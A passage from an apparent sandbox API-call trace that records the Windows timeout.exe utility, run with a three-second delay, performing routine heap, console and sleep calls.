| out: hHeap=0x310000) returned 1 [0175.276] GetProcessHeap () returned 0x310000 [0175.276] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x3235e0 | out: hHeap=0x310000) returned 1 [0175.276] GetProcessHeap () returned 0x310000 [0175.276] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x3233c8 | out: hHeap=0x310000) returned 1 [0175.276] GetProcessHeap () returned 0x310000 [0175.276] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x323168 | out: hHeap=0x310000) returned 1 [0175.276] GetProcessHeap () returned 0x310000 [0175.276] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x31f890 | out: hHeap=0x310000) returned 1 [0175.276] GetProcessHeap () returned 0x310000 [0175.276] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x31f850 | out: hHeap=0x310000) returned 1 [0175.276] GetProcessHeap () returned 0x310000 [0175.276] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x31f810 | out: hHeap=0x310000) returned 1 [0175.276] GetProcessHeap () returned 0x310000 [0175.276] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x31f7c8 | out: hHeap=0x310000) returned 1 [0175.276] _get_osfhandle (_FileHandle=1) returned 0x7 [0175.276] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0175.277] _get_osfhandle (_FileHandle=1) returned 0x7 [0175.277] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x49e941ac | out: lpMode=0x49e941ac) returned 1 [0175.277] _get_osfhandle (_FileHandle=0) returned 0x3 [0175.277] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x49e941b0 | out: lpMode=0x49e941b0) returned 1 [0175.277] _get_osfhandle (_FileHandle=0) returned 0x3 [0175.277] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0175.278] SetConsoleInputExeNameW () returned 0x1 [0175.278] GetConsoleOutputCP () returned 0x1b5 [0175.278] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49e94260 | out: lpCPInfo=0x49e94260) returned 1 [0175.278] SetThreadUILanguage (LangId=0x0) returned 0x409 [0175.278] exit (_Code=0) Process: id = "15" image_name = "timeout.exe" filename = "c:\\windows\\syswow64\\timeout.exe" page_root = "0x6ef1c000" os_pid = "0xe9c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "14" os_parent_pid = "0xe78" cmd_line = "C:\\Windows\\system32\\timeout.exe 3 " cur_dir = "C:\\Users\\aETAdzjz\\AppData\\Roaming\\" os_username = "YKYD69Q\\aETAdzjz" bitness = "32" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f18d" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 126 os_tid = 0xea0 [0172.079] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x14fd4c | out: lpSystemTimeAsFileTime=0x14fd4c*(dwLowDateTime=0xa86db180, dwHighDateTime=0x1d6b6fb)) [0172.079] GetCurrentProcessId () returned 0xe9c [0172.079] GetCurrentThreadId () returned 0xea0 [0172.079] GetTickCount () returned 0x115d26c [0172.079] QueryPerformanceCounter (in: lpPerformanceCount=0x14fd44 | out: lpPerformanceCount=0x14fd44*=25031186147) returned 1 [0172.080] GetModuleHandleA (lpModuleName=0x0) returned 0xe30000 [0172.080] __set_app_type (_Type=0x1) [0172.080] __p__fmode () returned 0x759831f4 [0172.080] __p__commode () returned 0x759831fc [0172.080] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xe357c5) returned 0x0 [0172.080] __wgetmainargs (in: _Argc=0xe37140, _Argv=0xe37148, _Env=0xe37144, _DoWildCard=0, _StartInfo=0xe37154 | out: _Argc=0xe37140, _Argv=0xe37148, _Env=0xe37144) returned 0 [0172.081] SetThreadUILanguage (LangId=0x0) returned 0x409 [0172.082] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0172.082] SetLastError (dwErrCode=0x0) [0172.082] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x0, Condition=0x2) returned 0x18 [0172.082] VerSetConditionMask (ConditionMask=0x18, TypeMask=0x80000000, Condition=0x1) returned 0x1b [0172.082] VerSetConditionMask (ConditionMask=0x1b, TypeMask=0x80000000, Condition=0x20) returned 0x1801b [0172.082] VerifyVersionInfoW (in: lpVersionInformation=0x14f5c4, dwTypeMask=0x3, dwlConditionMask=0x1801b | out: lpVersionInformation=0x14f5c4) returned 1 [0172.082] GetProcessHeap () returned 0x3d0000 [0172.082] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x10) returned 0x3df318 [0172.082] lstrlenW (lpString="") returned 0 [0172.082] GetProcessHeap () returned 0x3d0000 [0172.082] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x2) returned 0x3e3cc0 [0172.082] GetProcessHeap () returned 0x3d0000 [0172.082] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x14) returned 0x3e3b90 [0172.082] GetProcessHeap () returned 0x3d0000 [0172.082] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x10) returned 0x3df330 [0172.082] GetProcessHeap () returned 0x3d0000 [0172.082] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x14) returned 0x3e3bb0 [0172.082] GetProcessHeap () returned 0x3d0000 [0172.082] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x14) returned 0x3e4fe8 [0172.082] GetProcessHeap () returned 0x3d0000 [0172.082] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x14) returned 0x3e5008 [0172.082] GetProcessHeap () returned 0x3d0000 [0172.083] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x14) returned 0x3e5028 [0172.083] GetProcessHeap () returned 0x3d0000 [0172.083] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x10) returned 0x3df348 [0172.083] GetProcessHeap () returned 0x3d0000 [0172.083] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x14) returned 0x3e5048 [0172.083] GetProcessHeap () returned 0x3d0000 [0172.083] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x14) returned 0x3e5068 [0172.083] GetProcessHeap () returned 0x3d0000 [0172.083] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x14) returned 0x3e5088 [0172.083] GetProcessHeap () returned 0x3d0000 [0172.083] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x14) returned 0x3e50a8 [0172.083] GetProcessHeap () returned 0x3d0000 [0172.083] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x10) returned 0x3df360 [0172.083] GetProcessHeap () returned 0x3d0000 [0172.083] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x14) returned 0x3e50c8 [0172.083] GetProcessHeap () returned 0x3d0000 [0172.083] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x14) returned 0x3e50e8 [0172.083] GetProcessHeap () returned 0x3d0000 [0172.083] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x14) returned 0x3e5108 [0172.083] GetProcessHeap () returned 0x3d0000 [0172.083] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x14) returned 0x3e5128 [0172.083] SetThreadUILanguage (LangId=0x0) returned 0x409 [0172.083] SetLastError (dwErrCode=0x0) [0172.083] GetProcessHeap () returned 0x3d0000 [0172.083] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x14) returned 0x3e5160 [0172.083] GetProcessHeap () returned 0x3d0000 [0172.083] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x14) returned 0x3e5180 [0172.083] GetProcessHeap () returned 0x3d0000 [0172.083] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x14) returned 0x3e51a0 [0172.083] GetProcessHeap () returned 0x3d0000 [0172.083] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x14) returned 0x3e51c0 [0172.083] GetProcessHeap () returned 0x3d0000 [0172.083] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x14) returned 0x3e51e0 [0172.083] GetProcessHeap () returned 0x3d0000 [0172.083] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x10) returned 0x3df378 [0172.084] _memicmp (_Buf1=0x3df378, _Buf2=0xe311e8, _Size=0x7) returned 0 [0172.084] GetProcessHeap () returned 0x3d0000 [0172.084] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x208) returned 0x3e5948 [0172.084] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x3e5948, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\timeout.exe" (normalized: "c:\\windows\\syswow64\\timeout.exe")) returned 0x1f [0172.084] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\SysWOW64\\timeout.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x76c [0172.084] GetProcessHeap () returned 0x3d0000 [0172.084] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x776) returned 0x3e5b58 [0172.084] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\SysWOW64\\timeout.exe", dwHandle=0x0, dwLen=0x776, lpData=0x3e5b58 | out: lpData=0x3e5b58) returned 1 [0172.084] VerQueryValueW (in: pBlock=0x3e5b58, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x14f6cc, puLen=0x14f6d0 | out: lplpBuffer=0x14f6cc*=0x3e5f08, puLen=0x14f6d0) returned 1 [0172.086] _memicmp (_Buf1=0x3df378, _Buf2=0xe311e8, _Size=0x7) returned 0 [0172.086] _vsnwprintf (in: _Buffer=0x3e5948, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x14f6b4 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0172.086] VerQueryValueW (in: pBlock=0x3e5b58, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x14f6dc, puLen=0x14f6d8 | out: lplpBuffer=0x14f6dc*=0x3e5d38, puLen=0x14f6d8) returned 1 [0172.086] lstrlenW (lpString="timeout.exe") returned 11 [0172.086] lstrlenW (lpString="timeout.exe") returned 11 [0172.086] lstrlenW (lpString=".EXE") returned 4 [0172.086] StrStrIW (lpFirst="timeout.exe", lpSrch=".EXE") returned=".exe" [0172.086] lstrlenW (lpString="timeout.exe") returned 11 [0172.086] lstrlenW (lpString=".EXE") returned 4 [0172.086] _memicmp (_Buf1=0x3df378, _Buf2=0xe311e8, _Size=0x7) returned 0 [0172.086] lstrlenW (lpString="timeout") returned 7 [0172.087] GetProcessHeap () returned 0x3d0000 [0172.087] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x14) returned 0x3e5220 [0172.087] GetProcessHeap () returned 0x3d0000 [0172.087] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x14) returned 0x3e5240 [0172.087] GetProcessHeap () returned 0x3d0000 [0172.087] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x14) returned 0x3e5260 [0172.087] GetProcessHeap () returned 0x3d0000 [0172.087] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x14) returned 0x3e5280 [0172.087] GetProcessHeap () returned 0x3d0000 [0172.087] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x10) returned 0x3df390 [0172.087] _memicmp (_Buf1=0x3df390, _Buf2=0xe311e8, _Size=0x7) returned 0 [0172.087] GetProcessHeap () returned 0x3d0000 [0172.087] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0xa0) returned 0x3e6560 [0172.087] GetProcessHeap () returned 0x3d0000 [0172.087] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x14) returned 0x3e52a0 [0172.087] GetProcessHeap () returned 0x3d0000 [0172.087] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x14) returned 0x3e52c0 [0172.087] GetProcessHeap () returned 0x3d0000 [0172.087] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x14) returned 0x3e52e0 [0172.087] GetProcessHeap () returned 0x3d0000 [0172.087] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x10) returned 0x3df3a8 [0172.087] _memicmp (_Buf1=0x3df3a8, _Buf2=0xe311e8, _Size=0x7) returned 0 [0172.087] GetProcessHeap () returned 0x3d0000 [0172.087] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x200) returned 0x3e6608 [0172.087] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x3e6608, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0172.088] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0172.088] GetProcessHeap () returned 0x3d0000 [0172.088] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x30) returned 0x3e6810 [0172.088] _vsnwprintf (in: _Buffer=0x3e6560, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x14f6b8 | out: _Buffer="Type \"TIMEOUT /?\" for usage.") returned 28 [0172.088] GetProcessHeap () returned 0x3d0000 [0172.088] GetProcessHeap () returned 0x3d0000 [0172.088] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e5b58) returned 1 [0172.088] GetProcessHeap () returned 0x3d0000 [0172.088] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3e5b58) returned 0x776 [0172.088] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e5b58 | out: hHeap=0x3d0000) returned 1 [0172.088] SetLastError (dwErrCode=0x0) [0172.088] GetThreadLocale () returned 0x409 [0172.088] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0172.088] lstrlenW (lpString="?") returned 1 [0172.088] GetThreadLocale () returned 0x409 [0172.088] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0172.088] GetThreadLocale () returned 0x409 [0172.088] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0172.088] lstrlenW (lpString="nobreak") returned 7 [0172.088] SetLastError (dwErrCode=0x0) [0172.088] SetLastError (dwErrCode=0x0) [0172.088] lstrlenW (lpString="3") returned 1 [0172.088] SetLastError (dwErrCode=0x490) [0172.089] SetLastError (dwErrCode=0x0) [0172.089] lstrlenW (lpString="3") returned 1 [0172.089] StrChrIW (lpStart="3", wMatch=0x3a) returned 0x0 [0172.089] SetLastError (dwErrCode=0x490) [0172.089] SetLastError (dwErrCode=0x0) [0172.089] GetProcessHeap () returned 0x3d0000 [0172.089] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x10) returned 0x3df3c0 [0172.089] _memicmp (_Buf1=0x3df3c0, _Buf2=0xe311e8, _Size=0x7) returned 0 [0172.089] lstrlenW (lpString="3") returned 1 [0172.089] GetProcessHeap () returned 0x3d0000 [0172.089] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x4) returned 0x3e3cd0 [0172.089] lstrlenW (lpString="3") returned 1 [0172.089] lstrlenW (lpString=" \x09") returned 2 [0172.089] StrChrW (lpStart=" \x09", wMatch=0x33) returned 0x0 [0172.089] StrChrW (lpStart=" \x09", wMatch=0x33) returned 0x0 [0172.089] GetLastError () returned 0x0 [0172.089] lstrlenW (lpString="3") returned 1 [0172.089] lstrlenW (lpString="3") returned 1 [0172.089] SetLastError (dwErrCode=0x0) [0172.089] _errno () returned 0x6007d8 [0172.089] wcstol (in: _String="3", _EndPtr=0x14f8e0, _Radix=10 | out: _EndPtr=0x14f8e0*="") returned 3 [0172.089] lstrlenW (lpString="") returned 0 [0172.089] _errno () returned 0x6007d8 [0172.089] time (in: timer=0x14f8fc | out: timer=0x14f8fc) returned 0x5fa9e41f [0172.089] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0172.089] GetFileType (hFile=0x3) returned 0x2 [0172.089] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x14f870 | out: lpMode=0x14f870) returned 1 [0172.090] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0172.090] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x14f8ec | out: lpMode=0x14f8ec) returned 1 [0172.090] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a1) returned 1 [0172.090] GetNumberOfConsoleInputEvents (in: hConsoleInput=0x3, lpNumberOfEvents=0x14f8e4 | out: lpNumberOfEvents=0x14f8e4) returned 1 [0172.091] FlushConsoleInputBuffer (hConsoleInput=0x3) returned 1 [0172.092] GetProcessHeap () returned 0x3d0000 [0172.092] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x14) returned 0x3e5300 [0172.092] _memicmp (_Buf1=0x3df3a8, _Buf2=0xe311e8, _Size=0x7) returned 0 [0172.092] LoadStringW (in: hInstance=0x0, uID=0x98, lpBuffer=0x3e6608, cchBufferMax=256 | out: lpBuffer="\nWaiting for %*lu") returned 0x11 [0172.092] lstrlenW (lpString="\nWaiting for %*lu") returned 17 [0172.092] GetProcessHeap () returned 0x3d0000 [0172.092] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x24) returned 0x3e5b58 [0172.092] _vsnwprintf (in: _Buffer=0x14fafc, _BufferCount=0xfd, _Format="\nWaiting for %*lu", _ArgList=0x14f874 | out: _Buffer="\nWaiting for 3") returned 14 [0172.092] __iob_func () returned 0x75982900 [0172.092] _fileno (_File=0x75982920) returned 1 [0172.092] _errno () returned 0x6007d8 [0172.092] _get_osfhandle (_FileHandle=1) returned 0x7 [0172.092] _errno () returned 0x6007d8 [0172.092] GetFileType (hFile=0x7) returned 0x2 [0172.092] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0172.092] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x14f83c | out: lpMode=0x14f83c) returned 1 [0172.093] __iob_func () returned 0x75982900 [0172.093] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0172.093] lstrlenW (lpString="\nWaiting for 3") returned 14 [0172.093] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x14fafc*, nNumberOfCharsToWrite=0xe, lpNumberOfCharsWritten=0x14f864, lpReserved=0x0 | out: lpBuffer=0x14fafc*, lpNumberOfCharsWritten=0x14f864*=0xe) returned 1 [0172.097] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0172.097] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x7, lpConsoleScreenBufferInfo=0x14f888 | out: lpConsoleScreenBufferInfo=0x14f888) returned 1 [0172.097] GetProcessHeap () returned 0x3d0000 [0172.097] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x14) returned 0x3e5320 [0172.097] _memicmp (_Buf1=0x3df3a8, _Buf2=0xe311e8, _Size=0x7) returned 0 [0172.097] LoadStringW (in: hInstance=0x0, uID=0xa0, lpBuffer=0x3e6608, cchBufferMax=256 | out: lpBuffer=" seconds, press a key to continue ...") returned 0x25 [0172.097] lstrlenW (lpString=" seconds, press a key to continue ...") returned 37 [0172.097] GetProcessHeap () returned 0x3d0000 [0172.097] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x4c) returned 0x3e5b88 [0172.097] __iob_func () returned 0x75982900 [0172.097] _fileno (_File=0x75982920) returned 1 [0172.097] _errno () returned 0x6007d8 [0172.097] _get_osfhandle (_FileHandle=1) returned 0x7 [0172.097] _errno () returned 0x6007d8 [0172.097] GetFileType (hFile=0x7) returned 0x2 [0172.098] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0172.098] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x14f83c | out: lpMode=0x14f83c) returned 1 [0172.098] __iob_func () returned 0x75982900 [0172.098] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0172.098] lstrlenW (lpString=" seconds, press a key to continue ...") returned 37 [0172.098] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x3e5b88*, nNumberOfCharsToWrite=0x25, lpNumberOfCharsWritten=0x14f864, lpReserved=0x0 | out: lpBuffer=0x3e5b88*, lpNumberOfCharsWritten=0x14f864*=0x25) returned 1 [0172.099] PeekConsoleInputW (in: hConsoleInput=0x3, lpBuffer=0x14f8a0, nLength=0x2, lpNumberOfEventsRead=0x14f8e4 | out: lpBuffer=0x14f8a0, lpNumberOfEventsRead=0x14f8e4) returned 1 [0172.100] time (in: timer=0x14f8fc | out: timer=0x14f8fc) returned 0x5fa9e41f [0172.100] Sleep (dwMilliseconds=0x64) [0172.210] PeekConsoleInputW (in: hConsoleInput=0x3, lpBuffer=0x14f8a0, nLength=0x2, lpNumberOfEventsRead=0x14f8e4 | out: lpBuffer=0x14f8a0, lpNumberOfEventsRead=0x14f8e4) returned 1 [0172.211] time (in: timer=0x14f8fc | out: timer=0x14f8fc) returned 0x5fa9e41f [0172.211] Sleep (dwMilliseconds=0x64) [0172.318] PeekConsoleInputW (in: hConsoleInput=0x3, lpBuffer=0x14f8a0, nLength=0x2, lpNumberOfEventsRead=0x14f8e4 | out: lpBuffer=0x14f8a0, lpNumberOfEventsRead=0x14f8e4) returned 1 [0172.318] time (in: timer=0x14f8fc | out: timer=0x14f8fc) returned 0x5fa9e41f [0172.318] Sleep (dwMilliseconds=0x64) [0172.436] PeekConsoleInputW (in: hConsoleInput=0x3, lpBuffer=0x14f8a0, nLength=0x2, lpNumberOfEventsRead=0x14f8e4 | out: lpBuffer=0x14f8a0, lpNumberOfEventsRead=0x14f8e4) returned 1 [0172.436] time (in: timer=0x14f8fc | out: timer=0x14f8fc) returned 0x5fa9e41f [0172.436] Sleep (dwMilliseconds=0x64) [0172.547] PeekConsoleInputW (in: hConsoleInput=0x3, lpBuffer=0x14f8a0, nLength=0x2, lpNumberOfEventsRead=0x14f8e4 | out: lpBuffer=0x14f8a0, lpNumberOfEventsRead=0x14f8e4) returned 1 [0172.547] time (in: timer=0x14f8fc | out: timer=0x14f8fc) returned 0x5fa9e41f [0172.547] Sleep (dwMilliseconds=0x64) [0172.656] PeekConsoleInputW (in: hConsoleInput=0x3, lpBuffer=0x14f8a0, nLength=0x2, lpNumberOfEventsRead=0x14f8e4 | out: lpBuffer=0x14f8a0, lpNumberOfEventsRead=0x14f8e4) returned 1 [0172.656] time (in: timer=0x14f8fc | out: timer=0x14f8fc) returned 0x5fa9e41f [0172.656] Sleep (dwMilliseconds=0x64) [0172.764] PeekConsoleInputW (in: hConsoleInput=0x3, lpBuffer=0x14f8a0, nLength=0x2, lpNumberOfEventsRead=0x14f8e4 | out: lpBuffer=0x14f8a0, lpNumberOfEventsRead=0x14f8e4) returned 1 [0172.764] time (in: timer=0x14f8fc | out: timer=0x14f8fc) returned 0x5fa9e41f [0172.764] Sleep (dwMilliseconds=0x64) [0172.874] PeekConsoleInputW (in: hConsoleInput=0x3, lpBuffer=0x14f8a0, nLength=0x2, lpNumberOfEventsRead=0x14f8e4 | out: lpBuffer=0x14f8a0, lpNumberOfEventsRead=0x14f8e4) returned 1 [0172.874] time (in: timer=0x14f8fc | out: timer=0x14f8fc) returned 0x5fa9e420 [0172.874] _vsnwprintf (in: _Buffer=0x14fafc, _BufferCount=0xfd, _Format="%s%*lu", _ArgList=0x14f870 | out: _Buffer="\x082") returned 2 [0172.874] SetConsoleCursorPosition (hConsoleOutput=0x7, dwCursorPosition=0x1000d) returned 1 [0172.874] __iob_func () returned 0x75982900 [0172.874] _fileno (_File=0x75982920) returned 1 [0172.874] _errno () returned 0x6007d8 [0172.875] _get_osfhandle (_FileHandle=1) returned 0x7 [0172.875] _errno () returned 0x6007d8 [0172.875] GetFileType (hFile=0x7) returned 0x2 [0172.875] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0172.875] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x14f83c | out: lpMode=0x14f83c) returned 1 [0172.875] __iob_func () returned 0x75982900 [0172.875] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0172.875] lstrlenW (lpString="\x082") returned 2 [0172.875] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x14fafc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x14f864, lpReserved=0x0 | out: lpBuffer=0x14fafc*, lpNumberOfCharsWritten=0x14f864*=0x2) returned 1 [0172.876] Sleep (dwMilliseconds=0x64) [0172.983] PeekConsoleInputW (in: hConsoleInput=0x3, lpBuffer=0x14f8a0, nLength=0x2, lpNumberOfEventsRead=0x14f8e4 | out: lpBuffer=0x14f8a0, lpNumberOfEventsRead=0x14f8e4) returned 1 [0172.983] time (in: timer=0x14f8fc | out: timer=0x14f8fc) returned 0x5fa9e420 [0172.983] Sleep (dwMilliseconds=0x64) [0173.311] PeekConsoleInputW (in: hConsoleInput=0x3, lpBuffer=0x14f8a0, nLength=0x2, lpNumberOfEventsRead=0x14f8e4 | out: lpBuffer=0x14f8a0, lpNumberOfEventsRead=0x14f8e4) returned 1 [0173.311] time (in: timer=0x14f8fc | out: timer=0x14f8fc) returned 0x5fa9e420 [0173.311] Sleep (dwMilliseconds=0x64) [0173.482] PeekConsoleInputW (in: hConsoleInput=0x3, lpBuffer=0x14f8a0, nLength=0x2, lpNumberOfEventsRead=0x14f8e4 | out: lpBuffer=0x14f8a0, lpNumberOfEventsRead=0x14f8e4) returned 1 [0173.482] time (in: timer=0x14f8fc | out: timer=0x14f8fc) returned 0x5fa9e420 [0173.482] Sleep (dwMilliseconds=0x64) [0173.592] PeekConsoleInputW (in: hConsoleInput=0x3, lpBuffer=0x14f8a0, nLength=0x2, lpNumberOfEventsRead=0x14f8e4 | out: lpBuffer=0x14f8a0, lpNumberOfEventsRead=0x14f8e4) returned 1 [0173.592] time (in: timer=0x14f8fc | out: timer=0x14f8fc) returned 0x5fa9e420 [0173.592] Sleep (dwMilliseconds=0x64) [0173.700] PeekConsoleInputW (in: hConsoleInput=0x3, lpBuffer=0x14f8a0, nLength=0x2, lpNumberOfEventsRead=0x14f8e4 | out: lpBuffer=0x14f8a0, lpNumberOfEventsRead=0x14f8e4) returned 1 [0173.700] time (in: timer=0x14f8fc | out: timer=0x14f8fc) returned 0x5fa9e420 [0173.700] Sleep (dwMilliseconds=0x64) [0173.809] PeekConsoleInputW (in: hConsoleInput=0x3, lpBuffer=0x14f8a0, nLength=0x2, lpNumberOfEventsRead=0x14f8e4 | out: lpBuffer=0x14f8a0, lpNumberOfEventsRead=0x14f8e4) returned 1 [0173.809] time (in: timer=0x14f8fc | out: timer=0x14f8fc) returned 0x5fa9e420 [0173.809] Sleep (dwMilliseconds=0x64) [0173.920] PeekConsoleInputW (in: hConsoleInput=0x3, lpBuffer=0x14f8a0, nLength=0x2, lpNumberOfEventsRead=0x14f8e4 | out: lpBuffer=0x14f8a0, lpNumberOfEventsRead=0x14f8e4) returned 1 [0173.920] time (in: timer=0x14f8fc | out: timer=0x14f8fc) returned 0x5fa9e420 [0173.920] Sleep (dwMilliseconds=0x64) [0174.027] PeekConsoleInputW (in: hConsoleInput=0x3, lpBuffer=0x14f8a0, nLength=0x2, lpNumberOfEventsRead=0x14f8e4 | out: lpBuffer=0x14f8a0, lpNumberOfEventsRead=0x14f8e4) returned 1 [0174.027] time (in: timer=0x14f8fc | out: timer=0x14f8fc) returned 0x5fa9e420 [0174.027] Sleep (dwMilliseconds=0x64) [0174.138] PeekConsoleInputW (in: hConsoleInput=0x3, lpBuffer=0x14f8a0, nLength=0x2, lpNumberOfEventsRead=0x14f8e4 | out: lpBuffer=0x14f8a0, lpNumberOfEventsRead=0x14f8e4) returned 1 [0174.139] time (in: timer=0x14f8fc | out: timer=0x14f8fc) returned 0x5fa9e421 [0174.139] _vsnwprintf (in: _Buffer=0x14fafc, _BufferCount=0xfd, _Format="%s%*lu", _ArgList=0x14f870 | out: _Buffer="\x081") returned 2 [0174.139] SetConsoleCursorPosition (hConsoleOutput=0x7, dwCursorPosition=0x1000d) returned 1 [0174.139] __iob_func () returned 0x75982900 [0174.139] _fileno (_File=0x75982920) returned 1 [0174.139] _errno () returned 0x6007d8 [0174.139] _get_osfhandle (_FileHandle=1) returned 0x7 [0174.139] _errno () returned 0x6007d8 [0174.139] GetFileType (hFile=0x7) returned 0x2 [0174.139] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0174.139] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x14f83c | out: lpMode=0x14f83c) returned 1 [0174.140] __iob_func () returned 0x75982900 [0174.140] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0174.140] lstrlenW 